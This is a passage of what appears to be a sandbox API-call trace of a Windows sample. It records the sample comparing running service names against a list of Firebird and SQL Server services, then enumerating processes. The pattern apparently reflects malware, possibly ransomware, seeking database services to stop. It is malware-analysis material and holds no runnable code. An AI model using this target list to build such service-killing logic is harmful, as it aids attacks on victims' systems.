returned 1 [0068.960] lstrlenW (lpString="CryptSvc") returned 8 [0068.960] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0068.960] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0068.960] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0068.960] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0068.960] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0068.960] lstrlenW (lpString="DcomLaunch") returned 10 [0068.960] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0068.960] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0068.961] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0068.961] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0068.961] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0068.961] lstrlenW (lpString="DeviceAssociationService") returned 24 [0068.961] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0068.961] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0068.961] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0068.961] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0068.961] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0068.961] lstrlenW (lpString="Dhcp") returned 4 [0068.961] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0068.961] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0068.961] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0068.961] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0068.961] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0068.961] lstrlenW (lpString="Dnscache") returned 8 [0068.961] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0068.961] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0068.961] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0068.961] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0068.961] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0068.961] lstrlenW (lpString="DoSvc") returned 5 [0068.961] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0068.961] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0068.961] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0068.961] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0068.961] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0068.961] lstrlenW (lpString="DPS") returned 3 [0068.961] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0068.961] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0068.961] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0068.961] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0068.961] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0068.961] lstrlenW (lpString="DusmSvc") returned 7 [0068.961] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0068.962] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0068.962] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0068.962] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0068.962] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0068.962] lstrlenW (lpString="EventLog") returned 8 [0068.962] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0068.962] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0068.962] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0068.962] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0068.962] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0068.962] lstrlenW (lpString="EventSystem") returned 11 [0068.962] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0068.962] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0068.962] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0068.962] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0068.962] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0068.962] lstrlenW (lpString="FontCache") returned 9 [0068.962] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0068.962] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0068.962] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0068.962] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0068.962] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0068.962] lstrlenW (lpString="gpsvc") returned 5 [0068.962] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0068.962] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0068.962] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0068.962] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0068.962] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0068.962] lstrlenW (lpString="iphlpsvc") returned 8 [0068.962] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0068.962] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0068.962] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0068.962] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0068.962] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0068.963] lstrlenW (lpString="KeyIso") returned 6 [0068.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0068.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0068.963] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0068.963] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0068.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0068.963] lstrlenW (lpString="LanmanServer") returned 12 [0068.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0068.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0068.963] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0068.963] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0068.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0068.963] lstrlenW (lpString="LanmanWorkstation") returned 17 [0068.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0068.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0068.963] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0068.963] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0068.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0068.963] lstrlenW (lpString="lfsvc") returned 5 [0068.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0068.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0068.963] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0068.963] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0068.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0068.963] lstrlenW (lpString="lmhosts") returned 7 [0068.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0068.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0068.963] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0068.963] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0068.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0068.963] lstrlenW (lpString="LSM") returned 3 [0068.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0068.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0068.963] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0068.963] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0068.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0068.964] lstrlenW (lpString="MapsBroker") returned 10 [0068.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0068.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0068.964] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0068.964] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0068.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0068.964] lstrlenW (lpString="MpsSvc") returned 6 [0068.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0068.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0068.964] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0068.964] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0068.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0068.964] lstrlenW (lpString="NcbService") returned 10 [0068.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0068.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0068.964] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0068.964] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0068.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0068.964] lstrlenW (lpString="netprofm") returned 8 [0068.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0068.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0068.964] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0068.964] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0068.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0068.964] lstrlenW (lpString="NlaSvc") returned 6 [0068.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0068.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0068.964] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0068.964] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0068.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0068.964] lstrlenW (lpString="nsi") returned 3 [0068.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0068.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0068.964] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0068.965] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0068.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0068.965] lstrlenW (lpString="PcaSvc") returned 6 [0068.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0068.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0068.965] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0069.013] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0069.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0069.013] lstrlenW (lpString="PlugPlay") returned 8 [0069.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0069.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0069.013] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0069.013] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0069.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0069.013] lstrlenW (lpString="Power") returned 5 [0069.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0069.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0069.013] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0069.013] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0069.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0069.013] lstrlenW (lpString="ProfSvc") returned 7 [0069.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0069.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0069.013] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0069.013] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0069.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0069.013] lstrlenW (lpString="RpcEptMapper") returned 12 [0069.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0069.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0069.014] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0069.014] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0069.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0069.014] lstrlenW (lpString="RpcSs") returned 5 [0069.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0069.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0069.014] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0069.014] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0069.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0069.014] lstrlenW (lpString="SamSs") returned 5 [0069.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0069.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0069.014] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0069.014] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0069.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0069.014] lstrlenW (lpString="Schedule") returned 8 [0069.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0069.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0069.014] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0069.014] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0069.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0069.014] lstrlenW (lpString="SecurityHealthService") returned 21 [0069.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0069.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0069.014] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0069.014] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0069.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0069.014] lstrlenW (lpString="SENS") returned 4 [0069.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0069.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0069.014] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0069.014] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0069.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0069.015] lstrlenW (lpString="ShellHWDetection") returned 16 [0069.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0069.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0069.015] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0069.015] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0069.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0069.015] lstrlenW (lpString="Spooler") returned 7 [0069.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0069.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0069.015] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0069.015] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0069.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0069.015] lstrlenW (lpString="SSDPSRV") returned 7 [0069.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0069.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0069.015] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0069.015] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0069.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0069.015] lstrlenW (lpString="StateRepository") returned 15 [0069.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0069.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0069.015] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0069.015] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0069.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0069.015] lstrlenW (lpString="SysMain") returned 7 [0069.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0069.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0069.015] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0069.015] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0069.015] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x3d01278 | out: hHeap=0x690000) returned 1 [0069.015] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x32c [0069.020] Process32FirstW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0069.020] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0069.021] lstrlenW (lpString="System") returned 6 [0069.021] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0069.022] lstrlenW (lpString="smss.exe") returned 8 [0069.022] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0069.022] lstrlenW (lpString="csrss.exe") returned 9 [0069.022] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0069.023] lstrlenW (lpString="wininit.exe") returned 11 [0069.023] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0069.024] lstrlenW (lpString="csrss.exe") returned 9 [0069.024] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0069.024] lstrlenW (lpString="winlogon.exe") returned 12 [0069.024] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0069.025] lstrlenW (lpString="services.exe") returned 12 [0069.025] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0069.026] lstrlenW (lpString="lsass.exe") returned 9 [0069.026] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.026] lstrlenW (lpString="svchost.exe") returned 11 [0069.026] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0069.027] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0069.027] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0069.028] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0069.028] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.029] lstrlenW (lpString="svchost.exe") returned 11 [0069.029] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0069.030] lstrlenW (lpString="dwm.exe") returned 7 [0069.030] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x54, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.030] lstrlenW (lpString="svchost.exe") returned 11 [0069.030] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.031] lstrlenW (lpString="svchost.exe") returned 11 [0069.031] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.032] lstrlenW (lpString="svchost.exe") returned 11 [0069.032] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.032] lstrlenW (lpString="svchost.exe") returned 11 [0069.032] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.033] lstrlenW (lpString="svchost.exe") returned 11 [0069.033] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.034] lstrlenW (lpString="svchost.exe") returned 11 [0069.034] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, 